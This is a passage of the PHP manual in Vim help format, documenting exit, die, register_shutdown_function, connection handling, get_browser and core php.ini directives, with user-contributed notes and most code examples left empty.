phpHelp For Vim version 7.3 Last change: 2017 May 7 vim:noundofile:foldcolumn=1:filetype=help:autochdir:textwidth=70:wrap: -------------------------------------------------------------------------------- *exit* +------+~ | exit |~ +------+~ (PHP 4, PHP 5, PHP 7) exit — Output a message and terminate the current script Description~ > void exit ([ string $status ] ) void exit ( int $status ) Terminates execution of the script. Shutdown functions and object destructors will always be executed even if exit is called. exit is a language construct and it can be called without parentheses if no status is passed. Parameters~ status ------ If status is a string, this function prints the status just before exiting. If status is an integer, that value will be used as the exit status and not printed. Exit statuses should be in the range 0 to 254, the exit status 255 is reserved by PHP and shall not be used. The status 0 is used to terminate the program successfully. Return Values~ No value is returned. Examples~ Example #1 exit example > < Example #2 exit status example > < Example #3 Shutdown functions and destructors run regardless > The above example will output: Shutdown: shutdown() Destruct: Foo::__destruct() < Notes~ Note: Because this is a language construct and not a function, it cannot be called using variable functions. Note: This language construct is equivalent to die(). See Also~ |register_shutdown_function|() - Register a function for execution on shutdown add a note add a note -------------------------------------------------------------------------------- *register_shutdown_function* +----------------------------+~ | register_shutdown_function |~ +----------------------------+~ (PHP 4, PHP 5, PHP 7) register_shutdown_function — Register a function for execution on shutdown Description~ > void register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) < Registers a callback to be executed after script execution finishes or exit() is called. Multiple calls to register_shutdown_function() can be made, and each will be called in the same order as they were registered. If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called. Parameters~ callback -------- The shutdown callback to register. The shutdown callbacks are executed as the part of the request, so it's possible to send output from them and access output buffers. parameter --------- It is possible to pass parameters to the shutdown function by passing additional parameters. ... Return Values~ No value is returned. Errors/Exceptions ¶ If the passed callback is not callable a E_WARNING level error will be generated. Examples~ > Example #1 register_shutdown_function() example > Notes~ Note: Working directory of the script can change inside the shutdown function under some web servers, e.g. Apache. Note: Shutdown functions will not be executed if the process is killed with a SIGTERM or SIGKILL signal. While you cannot intercept a SIGKILL, you can use pcntl_signal() to install a handler for a SIGTERM which uses exit() to end cleanly. See Also~ |auto_append_file| |exit|() - Output a message and terminate the current script The section on |connection_handling| -------------------------------------------------------------------------------- *connection_handling* +---------------------+~ | Connection Handling |~ +---------------------+~ Internally in PHP a connection status is maintained. There are 4 possible states: 0 - NORMAL 1 - ABORTED 2 - TIMEOUT 3 - ABORTED and TIMEOUT When a PHP script is running normally, the NORMAL state is active. If the remote client disconnects, the ABORTED state flag is turned on. A remote client disconnect is usually caused by the user hitting his STOP button. If the PHP-imposed time limit (see set_time_limit()) is hit, the TIMEOUT state flag is turned on. You can decide whether or not you want a client disconnect to cause your script to be aborted. Sometimes it is handy to always have your scripts run to completion even if there is no remote browser receiving the output. The default behaviour is however for your script to be aborted when the remote client disconnects. This behaviour can be set via the ignore_user_abort php.ini directive as well as through the corresponding php_value ignore_user_abort Apache httpd.conf directive or with the ignore_user_abort() function. If you do not tell PHP to ignore a user abort and the user aborts, your script will terminate. The one exception is if you have registered a shutdown function using register_shutdown_function(). With a shutdown function, when the remote user hits his STOP button, the next time your script tries to output something PHP will detect that the connection has been aborted and the shutdown function is called. This shutdown function will also get called at the end of your script terminating normally, so to do something different in case of a client disconnect you can use the connection_aborted() function. This function will return TRUE if the connection was aborted. Your script can also be terminated by the built-in script timer. The default timeout is 30 seconds. It can be changed using the max_execution_time php.ini directive or the corresponding php_value max_execution_time Apache httpd.conf directive as well as with the set_time_limit() function. When the timer expires the script will be aborted and as with the above client disconnect case, if a shutdown function has been registered it will be called. Within this shutdown function you can check to see if a timeout caused the shutdown function to be called by calling the connection_status() function. This function will return 2 if a timeout caused the shutdown function to be called. One thing to note is that both the ABORTED and the TIMEOUT states can be active at the same time. This is possible if you tell PHP to ignore user aborts. PHP will still note the fact that a user may have broken the connection, but the script will keep running. If it then hits the time limit it will be aborted and your shutdown function, if any, will be called. At this point you will find that connection_status() returns 3. User Contributed Notes 12 notes~ 22 tom lgold2003 at gmail dot com ¶7 years ago~ hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else. When using the codes, it nearly drive me mad and I found another thing that may affect the codes: Content-Encoding: gzip This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over. So, it may need to send the header to prevent this problem. now, the code becomes: > < 11 mheumann at comciencia dot cl ¶3 years ago~ I had a lot of problems getting a redirect to work, after which my script was intended to keep working in the background. The redirect to another page of my site simply would only work once the original page had finished processing. I finally found out what was wrong: The session only gets closed by PHP at the very end of the script, and since access to the session data is locked to prevent more than one page writing to it simultaneously, the new page cannot load until the original processing has finished. Solution: Close the session manually when redirecting using session_write_close(): > > But careful: Make sure that your script doesn't write to the session after session_write_close(), i.e. in your background processing code. That won't work. Also avoid reading, remember, the next script may already have modified the data. So try to read out the data you need prior to redirecting. 12 arr1 at hotmail dot co dot uk ¶10 years ago~ Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection. sts at mail dot xubion dot hu Posted the original solution: > > Which works fine until you substitute phpinfo() for echo ('text I want user to see'); in which case the headers are never sent! The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information. example: > < Just spent 3 hours trying to figure this one out, hope it helps someone :) Tested in: IE 7.5730.11 Mozilla Firefox 1.81 6 a1n2ton at gmail dot com ¶7 years ago~ PHP changes directory on connection abort so code like this will not do what you want: > > actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory > < 6 Lee ¶12 years ago~ The point mentioned in the last comment isn't always the case. If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process. I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB. So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not. -------------------------------------------------------------------------------- *description_of_core_php_ini_directives* +----------------------------------------+~ | Description of core php.ini directives |~ +----------------------------------------+~ This list includes the core php.ini directives you can set to configure your PHP setup. Directives handled by extensions are listed and detailed at the extension documentation pages respectively; Information on the session directives for example can be found at the sessions page. Note: The defaults listed here are used when php.ini is not loaded; the values for the production and development php.ini may vary. Language Options~ Language and Misc Configuration Options~ Name Default Changeable Changelog short_open_tag "1" PHP_INI_PERDIR asp_tags "0" PHP_INI_PERDIR Removed in PHP 7.0.0. precision "14" PHP_INI_ALL serialize_precision "17" PHP_INI_ALL Until PHP 5.3.5, the default value was 100. y2k_compliance "1" PHP_INI_ALL Removed in PHP 5.4.0. allow_call_time_pass_reference "1" PHP_INI_PERDIR Removed in PHP 5.4.0. disable_functions "" PHP_INI_SYSTEM only disable_classes "" php.ini only exit_on_timeout "" PHP_INI_ALL Available since PHP 5.3.0. expose_php "1" php.ini only zend.multibyte "0" PHP_INI_ALL Available since PHP 5.4.0 zend.script_encoding NULL PHP_INI_ALL Available since PHP 5.4.0 zend.detect-unicode NULL PHP_INI_ALL Available since PHP 5.4.0 zend.signal_check "0" PHP_INI_SYSTEM Available since PHP 5.4.0 zend.assertions "1" PHP_INI_ALL with restrictions Available since PHP 7.0.0. zend.ze1_compatibility_mode "0" PHP_INI_ALL Removed in PHP 5.3.0 detect_unicode "1" PHP_INI_ALL Available since PHP 5.1.0. Renamed to zend.detect-unicode from PHP 5.4.0. Here's a short explanation of the configuration directives. *short_open_tag* boolean Tells PHP whether the short form () of PHP's open tag should be allowed. If you want to use PHP in combination with XML, you can disable this option in order to use inline. Otherwise, you can print it with PHP, for example: '; ?>. Also, if disabled, you must use the long form of the PHP open tag (). Note: This directive also affected the shorthand tags in addition to the usual tags. This includes the variable-value printing shorthand of <%= $value %>. For more information, see Escaping from HTML. Changelog for asp_tags Version Description 7.0.0 Removed from PHP. *precision* integer The number of significant digits displayed in floating point numbers. -1 means that an enhanced algorithm for rounding such numbers will be used. *serialize_precision* integer The number of significant digits stored while serializing floating point numbers. -1 means that an enhanced algorithm for rounding such numbers will be used. *y2k_compliance* boolean Enforce year 2000 compliance (will cause problems with non-compliant browsers) *allow_call_time_pass_reference* boolean Whether to warn when arguments are passed by reference at function call time. The encouraged method of specifying which arguments should be passed by reference is in the function declaration. You're encouraged to try and turn this option Off and make sure your scripts work properly with it in order to ensure they will work with future versions of the language (you will receive a warning each time you use this feature). Passing arguments by reference at function call time was deprecated for code-cleanliness reasons. A function can modify its arguments in an undocumented way if it didn't declare that the argument shall be passed by reference. To prevent side-effects it's better to specify which arguments are passed by reference in the function declaration only. See also References Explained. Changelog for allow_call_time_pass_reference Version Description 5.4.0 Removed from PHP. 5.3.0 Emits an E_DEPRECATED level error. 5.0.0 Deprecated, and generates an E_COMPILE_WARNING level error. *expose_php* boolean Exposes to the world that PHP is installed on the server, which includes the PHP version within the HTTP header (e.g., X-Powered-By: PHP/5.3.7). Prior to PHP 5.5.0 the PHP logo guids are also exposed, thus appending them to the URL of your PHP script would display the appropriate logo (e.g., » http://www.php.net/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42). This also affected the output of phpinfo(), as when disabled, the PHP logo and credits information would not be displayed. Note: Since PHP 5.5.0 these guids and the php_logo_guid() function have been removed from PHP and the guids are replaced with data URIs instead. Thus accessing the PHP logo via appending the guid to the URL no longer works. Similarly, turning expose_php off will not affect seeing the PHP logo in phpinfo(). See also php_logo_guid() and phpcredits(). *disable_functions* string This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. Only internal functions can be disabled using this directive. User-defined functions are unaffected. This directive must be set in php.ini For example, you cannot set this in httpd.conf. *disable_classes* string This directive allows you to disable certain classes for security reasons. It takes on a comma-delimited list of class names. disable_classes is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. *zend.assertions* integer When set to 1, assertion code will be generated and executed (development mode). When set to 0, assertion code will be generated but it will be skipped (not executed) at runtime. When set to -1, assertion code will not be generated, making the assertions zero-cost (production mode). Note: If a process is started in production mode, zend.assertions cannot be changed at runtime, since the code for assertions was not generated. If a process is started in development mode, zend.assertions cannot be set to -1 at runtime. *zend.ze1_compatibility_mode* boolean Enable compatibility mode with Zend Engine 1 (PHP 4). It affects the cloning, casting (objects with no properties cast to FALSE or 0), and comparing of objects. In this mode, objects are passed by value instead of reference by default. See also the section titled |Migrating_from_PHP_4_to_PHP_5|. Warning This feature has been DEPRECATED and REMOVED as of PHP 5.3.0. *zend.multibyte* boolean Enables parsing of source files in multibyte encodings. Enabling zend.multibyte is required to use character encodings like SJIS, BIG5, etc that contain special characters in multibyte string data. ISO-8859-1 compatible encodings like UTF-8, EUC, etc do not require this option. Enabling zend.multibyte requires the mbstring extension to be available. *zend.script_encoding* string This value will be used unless a declare(encoding=...) directive appears at the top of the script. When ISO-8859-1 incompatible encoding is used, both zend.multibyte and zend.script_encoding must be used. Literal strings will be transliterated from zend.script_enconding to mbstring.internal_encoding, as if mb_convert_encoding() would have been called. *zend.detect_unicode* boolean Check for BOM (Byte Order Mark) and see if the file contains valid multibyte characters. This detection is performed before processing of __halt_compiler(). Available only in Zend Multibyte mode. *zend.signal_check* boolean To check for replaced signal handlers on shutdown. *exit_on_timeout* boolean This is an Apache1 mod_php-only directive that forces an Apache child to exit if a PHP execution timeout occurred. Such a timeout causes an internal longjmp() call in Apache1 which can leave some extensions in an inconsistent state. By terminating the process any outstanding locks or memory will be cleaned up. Resource Limits~ Resource Limits Name Default Changeable Changelog memory_limit "128M" PHP_INI_ALL "8M" before PHP 5.2.0, "16M" in PHP 5.2.0 Here's a short explanation of the configuration directives. *memory_limit* integer This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1. Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using --enable-memory-limit in the configure line. This compile-time flag was also required to define the functions memory_get_usage() and memory_get_peak_usage() prior to 5.2.1. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. See also: |max_execution_time|. Performance Tuning~ Name Default Changeable Changelog realpath_cache_size "16K" PHP_INI_SYSTEM Available since PHP 5.1.0. realpath_cache_ttl "120" PHP_INI_SYSTEM Available since PHP 5.1.0. Here's a short explanation of the configuration directives. *realpath_cache_size2* integer Note the '2' is just there to avoid a tag clash Determines the size of the realpath cache to be used by PHP. This value should be increased on systems where PHP opens many files, to reflect the quantity of the file operations performed. The size represents the total number of bytes in the path strings stored, plus the size of the data associated with the cache entry. This means that in order to store longer paths in the cache, the cache size must be larger. This value does not directly control the number of distinct paths that can be cached. The size required for the cache entry data is system dependent. *realpath_cache_ttl* integer Duration of time (in seconds) for which to cache realpath information for a given file or directory. For systems with rarely changing files, consider increasing the value. Data Handling~ Data Handling Configuration Options Name Default Changeable Changelog arg_separator.output "&" PHP_INI_ALL arg_separator.input "&" PHP_INI_PERDIR variables_order "EGPCS" PHP_INI_PERDIR PHP_INI_ALL in PHP <= 5.0.5. request_order "" PHP_INI_PERDIR Available since PHP 5.3.0 auto_globals_jit "1" PHP_INI_PERDIR Available since PHP 5.0.0. register_globals "0" PHP_INI_PERDIR Removed in PHP 5.4.0. register_argc_argv "1" PHP_INI_PERDIR register_long_arrays "1" PHP_INI_PERDIR Deprecated in PHP 5.3.0. Removed in PHP 5.4.0. enable_post_data_reading "1" PHP_INI_PERDIR Available since PHP 5.4.0 post_max_size "8M" PHP_INI_PERDIR auto_prepend_file NULL PHP_INI_PERDIR auto_append_file NULL PHP_INI_PERDIR default_mimetype "text/html" PHP_INI_ALL default_charset "UTF-8" PHP_INI_ALL Defaults to "UTF-8" since PHP >= 5.6.0; empty for PHP < 5.6.0. always_populate_raw_post_data "0" PHP_INI_PERDIR Removed in PHP 7.0.0. Here's a short explanation of the configuration directives. *arg_separator.output* string The separator used in PHP generated URLs to separate arguments. *arg_separator.input* string List of separator(s) used by PHP to parse input URLs into variables. Note: Every character in this directive is considered as separator! *variables_order* string Sets the order of the EGPCS (Environment, Get, Post, Cookie, and Server) variable parsing. For example, if variables_order is set to "SP" then PHP will create the superglobals $_SERVER and $_POST, but not create $_ENV, $_GET, and $_COOKIE. Setting to "" means no superglobals will be set. If the deprecated register_globals directive is on, then variables_order also configures the order the ENV, GET, POST, COOKIE and SERVER variables are populated in global scope. So for example if variables_order is set to "EGPCS", register_globals is enabled, and both $_GET['action'] and $_POST['action'] are set, then $action will contain the value of $_POST['action'] as P comes after G in our example directive value. Warning In both the CGI and FastCGI SAPIs, $_SERVER is also populated by values from the environment; S is always equivalent to ES regardless of the placement of E elsewhere in this directive. Note: The content and order of $_REQUEST is also affected by this directive. *request_order* string This directive describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array. Registration is done from left to right, newer values override older values. If this directive is not set, variables_order is used for $_REQUEST contents. Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns. *auto_globals_jit* boolean When enabled, the SERVER and ENV variables are created when they're first used (Just In Time) instead of when the script starts. If these variables are not used within a script, having this directive on will result in a performance gain. The PHP directives register_globals, register_long_arrays, and register_argc_argv must be disabled for this directive to have any affect. Since PHP 5.1.3 it is not necessary to have register_argc_argv disabled. Warning Usage of SERVER and ENV variables is checked during the compile time so using them through e.g. variable variables will not cause their initialization. *register_globals* boolean Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of » PHP 4.2.0, this directive defaults to off. Please read the security chapter on |Using_register_globals| for related information. Please note that register_globals cannot be set at runtime (|ini_set|()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off. Note: |register_globals| is affected by the variables_order directive. Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. *register_argc_argv* boolean Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line. *register_long_arrays* boolean Tells PHP whether or not to register the deprecated long $HTTP_*_VARS type predefined variables. When On (default), long predefined PHP variables like $HTTP_GET_VARS will be defined. If you're not using them, it's recommended to turn them off, for performance reasons. Instead, use the superglobal arrays, like $_GET. This directive became available in PHP 5.0.0. Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0. *enable_post_data_reading* boolean Disabling this option causes $_POST and $_FILES not to be populated. The only way to read postdata will then be through the php://input stream wrapper. This can be useful to proxy requests or to process the POST data in a memory efficient fashion. *post_max_size* integer Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. Generally speaking, memory_limit should be larger than post_max_size. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e.
, and then checking if $_GET['processed'] is set. Note: PHP allows shortcuts for byte values, including K (kilo), M (mega) and G (giga). PHP will do the conversions automatically if you use any of these. Be careful not to exceed the 32 bit signed integer limit (if you're using 32bit versions) as it will cause your script to fail. Changelog for post_max_size Version Description 5.3.4 post_max_size = 0 will not disable the limit when the content type is application/x-www-form-urlencoded or is not registered with PHP. 5.3.2 , 5.2.12 Allow unlimited post size by setting post_max_size to 0. *auto_prepend_file* string Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used. The special value none disables auto-prepending. *auto_append_file* string Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used. The special value none disables auto-appending. Note: If the script is terminated with exit(), auto-append will not occur. default_mimetype string By default, PHP will output a media type using the Content-Type header. To disable this, simply set it to be empty. PHP's built-in default media type is set to text/html. *default_charset* string In PHP 5.6 onwards, "UTF-8" is the default value and its value is used as the default character encoding for htmlentities(), html_entity_decode() and htmlspecialchars() if the encoding parameter is omitted. The value of default_charset will also be used to set the default character set for iconv functions if the iconv.input_encoding, iconv.output_encoding and iconv.internal_encoding configuration options are unset, and for mbstring functions if the mbstring.http_input mbstring.http_output mbstring.internal_encoding configuration option is unset. All versions of PHP will use this value as the charset within the default Content-Type header sent by PHP if the header isn't overridden by a call to header(). Setting default_charset to an empty value is not recommended. *input_encoding* string Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty. *output_encoding* string Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty. *internal_encoding* string Available from PHP 5.6.0. This setting is used for multibyte modules such as mbstring and iconv. Default is empty. If empty, default_charset is used. *always_populate_raw_post_data* mixed Warning This feature was DEPRECATED in PHP 5.6.0, and REMOVED as of PHP 7.0.0. If set to TRUE, PHP will always populate the $HTTP_RAW_POST_DATA containing the raw POST data. Otherwise, the variable is populated only when the MIME type of the data is unrecognised. The preferred method for accessing raw POST data is php://input, and $HTTP_RAW_POST_DATA is deprecated in PHP 5.6.0 onwards. Setting always_populate_raw_post_data to -1 will opt into the new behaviour that will be implemented in a future version of PHP, in which $HTTP_RAW_POST_DATA is never defined. Regardless of the setting, $HTTP_RAW_POST_DATA is not available with enctype="multipart/form-data". See also: magic_quotes_gpc, magic_quotes_runtime, and magic_quotes_sybase. Paths and Directories~ Paths and Directories Configuration Options Name Default Changeable Changelog include_path ".;/path/to/php/pear" PHP_INI_ALL open_basedir NULL PHP_INI_ALL PHP_INI_SYSTEM in PHP < 5.3.0 doc_root NULL PHP_INI_SYSTEM user_dir NULL PHP_INI_SYSTEM extension_dir "/path/to/php" PHP_INI_SYSTEM extension NULL php.ini only zend_extension NULL php.ini only zend_extension_debug NULL php.ini only Available before PHP 5.3.0. zend_extension_debug_ts NULL php.ini only Available before PHP 5.3.0. zend_extension_ts NULL php.ini only Available before PHP 5.3.0. cgi.check_shebang_line "1" PHP_INI_SYSTEM Available since PHP 5.2.0. cgi.discard_path "0" PHP_INI_SYSTEM Available since PHP 5.3.0. cgi.fix_pathinfo "1" PHP_INI_SYSTEM PHP_INI_ALL prior to PHP 5.2.1. cgi.force_redirect "1" PHP_INI_SYSTEM PHP_INI_ALL prior to PHP 5.2.1. cgi.nph "0" PHP_INI_SYSTEM Available since PHP 5.3.0. cgi.redirect_status_env NULL PHP_INI_SYSTEM PHP_INI_ALL prior to PHP 5.2.1. cgi.rfc2616_headers "0" PHP_INI_ALL fastcgi.impersonate "0" PHP_INI_SYSTEM PHP_INI_ALL prior to PHP 5.2.1. fastcgi.logging "1" PHP_INI_SYSTEM PHP_INI_ALL prior to PHP 5.2.1. Here's a short explanation of the configuration directives. *include_path* string Specifies a list of directories where the require, include, fopen(), file(), readfile() and file_get_contents() functions look for files. The format is like the system's PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows. PHP considers each entry in the include path separately when looking for files to include. It will check the first path, and if it doesn't find it, check the next path, until it either locates the included file or returns with a warning or an error. You may modify or set your include path at runtime using set_include_path(). Example #1 Unix include_path > include_path=".:/php/includes" Example #2 Windows include_path include_path=".;c:\php\includes" < Using a . in the include path allows for relative includes as it means the current directory. However, it is more efficient to explicitly use include './file' than having PHP always check the current directory for every include. Note: ENV variables are also accessible in .ini files. As such it is possible to reference the home directory using ${LOGIN} and ${USER}. Environment variables may vary between Server APIs as those environments may be different. Example #3 Unix include_path using ${USER} env variable > include_path = ".:${USER}/pear/php" < *open_basedir* string Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink. If the file doesn't exist then the symlink couldn't be resolved and the filename is compared to (a resolved) open_basedir . open_basedir can affect more than just filesystem functions; for example if MySQL is configured to use mysqlnd drivers, LOAD DATA INFILE will be affected by open_basedir . Much of the extended functionality of PHP uses open_basedir in this way. The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir(). In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with "php_admin_value open_basedir none". Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited. The restriction specified with open_basedir is a directory name since PHP 5.2.16 and 5.3.4. Previous versions used it as a prefix. This means that "open_basedir = /dir/incl" also allowed access to "/dir/include" and "/dir/incls" if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/ The default is to allow all files to be opened. Note: As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system. *doc_root* string PHP's "root directory" on the server. Only used if non-empty. If PHP is configured with safe mode, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the cgi.force_redirect configuration below. *user_dir* string The base name of the directory used on a user's home directory for PHP files, for example public_html . *extension_dir* string In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl(). *extension* string Which dynamically loadable extensions to load when PHP starts up. *zend_extension* string Name of dynamically loadable Zend extension (for example APD) to load when PHP starts up. *zend_extension_debug* string Variant of zend_extension for extensions compiled with debug info prior to PHP 5.3.0. *zend_extension_debug_ts* string Variant of zend_extension for extensions compiled with debug info and thread safety prior to PHP 5.3.0. *zend_extension_ts* string Variant of zend_extension for extensions compiled with thread safety prior to PHP 5.3.0. *cgi.check_shebang_line* boolean Controls whether CGI PHP checks for line starting with #! (shebang) at the top of the running script. This line might be needed if the script support running both as stand-alone script and via PHP CGI. PHP in CGI mode skips this line and ignores its content if this directive is turned on. *cgi.discard_path* boolean If this is enabled, the PHP CGI binary can safely be placed outside of the web tree and people will not be able to circumvent .htaccess security. *cgi.fix_pathinfo* boolean Provides real PATH_INFO/ PATH_TRANSLATED support for CGI. PHP's previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok what PATH_INFO is. For more information on PATH_INFO, see the CGI specs. Setting this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting of zero causes PHP to behave as before. It is turned on by default. You should fix your scripts to use SCRIPT_FILENAME rather than PATH_TRANSLATED. *cgi.force_redirect* boolean cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk. Note: Windows Users: When using IIS this option must be turned off. For OmniHTTPD or Xitami the same applies. cgi.nph boolean If cgi.nph is enabled it will force cgi to always sent Status: 200 with every request. *cgi.redirect_status_env* string If cgi.force_redirect is turned on, and you are not running under Apache or Netscape (iPlanet) web servers, you may need to set an environment variable name that PHP will look for to know it is OK to continue execution. Note: Setting this variable may cause security issues, know what you are doing first. cgi.rfc2616_headers int Tells PHP what type of headers to use when sending HTTP response code. If it's set to 0, PHP sends a » RFC 3875 "Status:" header that is supported by Apache and other web servers. When this option is set to 1, PHP will send » RFC 2616 compliant headers. If this option is enabled, and you are running PHP in a CGI environment (e.g. PHP-FPM) you should not use standard RFC 2616 style HTTP status response headers, you should instead use their RFC 3875 equivalent e.g. instead of header("HTTP/1.0 404 Not found"); you should use header("Status: 404 Not Found"); Leave it set to 0 unless you know what you're doing. *fastcgi.impersonate* string FastCGI under IIS (on WINNT based OS) supports the ability to impersonate security tokens of the calling client. This allows IIS to define the security context that the request runs under. mod_fastcgi under Apache does not currently support this feature (03/17/2002) Set to 1 if running under IIS. Default is zero. *fastcgi.logging* boolean Turns on SAPI logging when using FastCGI. Default is to enable logging. File Uploads~ File Uploads Configuration Options Name Default Changeable Changelog file_uploads "1" PHP_INI_SYSTEM upload_tmp_dir NULL PHP_INI_SYSTEM max_input_nesting_level 64 PHP_INI_PERDIR Available since PHP 5.3.9. max_input_vars 1000 PHP_INI_PERDIR Available since PHP 5.3.9. upload_max_filesize "2M" PHP_INI_PERDIR max_file_uploads 20 PHP_INI_SYSTEM Available since PHP 5.2.12. Here's a short explanation of the configuration directives. *file_uploads* boolean Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives. *upload_tmp_dir* string The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system's default. If the directory specified here is not writable, PHP falls back to the system default temporary directory. If open_basedir is on, then the system default directory must be allowed for an upload to succeed. *upload_max_filesize* integer The maximum size of an uploaded file. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. *max_file_uploads* integer The maximum number of files allowed to be uploaded simultaneously. Starting with PHP 5.3.4, upload fields left blank on submission do not count towards this limit. General SQL~ General SQL Configuration Options Name Default Changeable Changelog sql.safe_mode "0" PHP_INI_SYSTEM Here's a short explanation of the configuration directives. *sql.safe_mode* boolean If turned on, database connection functions that specify default values will use those values in place of any user-supplied arguments. For details on the default values, see the documentation for the relevant connection functions. Windows Specific~ Windows Specific Configuration Options Name Default Changeable Changelog windows.show_crt_warning "0" PHP_INI_ALL Available since PHP 5.4.0. Here's a short explanation of the configuration directives. *windows.show_crt_warning* boolean This directive shows the Windows CRT warnings when enabled. These warnings were displayed by default until PHP 5.4.0. 9 csg at DEL_THISdiatom dot de ¶11 years ago~ Starting with PHP 4.4.0 (at least PHP version 4.3.10 did have old, documented behaviour) interpretation of value of "session.save_path" did change in conjunction with "save_mode" and "open_basedir" enabled. Documented ( http://de.php.net/manual/en/ref.session.php#ini.session.save-path ): Values of "session.save_path" should or may be **without** ending slash. For instance: > will mean: The directory "/var/httpd/kunde/phptmp/" will be used to write data and therefore must be writable by the web server. < Starting with PHP 4.4.0 the server complains that "/var/httpd/kunde/" is not writable. Solution: Add an ending slash in call of ini_set (or probably whereever you set "session.save_path"), e.g.: > < Hope, that does help someone. -------------------------------------------------------------------------------- *die* +-----+~ | die |~ +-----+~ (PHP 4, PHP 5, PHP 7) die — Equivalent to exit Description~ This language construct is equivalent to exit(). 225 Hayley Watson ¶4 years ago~ It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken. If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either. If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building. 40 Damien Bezborodov ¶7 years ago~ Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0. If you are looking to follow UNIX conventions for CLI programs, you may consider the following: > > In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success: > rc@adl-dev-01:~$ php die.php > test An error occurred. rc@adl-dev-01:~$ echo $? 1 < Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story. 22 jbailey at raspberryginger dot com ¶10 years ago~ die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines. -------------------------------------------------------------------------------- *get_browser* +-------------+~ | get_browser |~ +-------------+~ (PHP 4, PHP 5, PHP 7) get_browser — Tells what the user's browser is capable of Description~ > mixed get_browser ([ string $user_agent [, bool $return_array = false ]] ) < Attempts to determine the capabilities of the user's browser, by looking up the browser's information in the browscap.ini file. Parameters~ user_agent ---------- The User Agent to be analyzed. By default, the value of HTTP User-Agent header is used; however, you can alter this (i.e., look up another browser's info) by passing this parameter. You can bypass this parameter with a NULL value. return_array ------------ If set to TRUE, this function will return an array instead of an object. Return Values~ The information is returned in an object or an array which will contain various data elements representing, for instance, the browser's major and minor version numbers and ID string; TRUE/FALSE values for features such as frames, JavaScript, and cookies; and so forth. The cookies value simply means that the browser 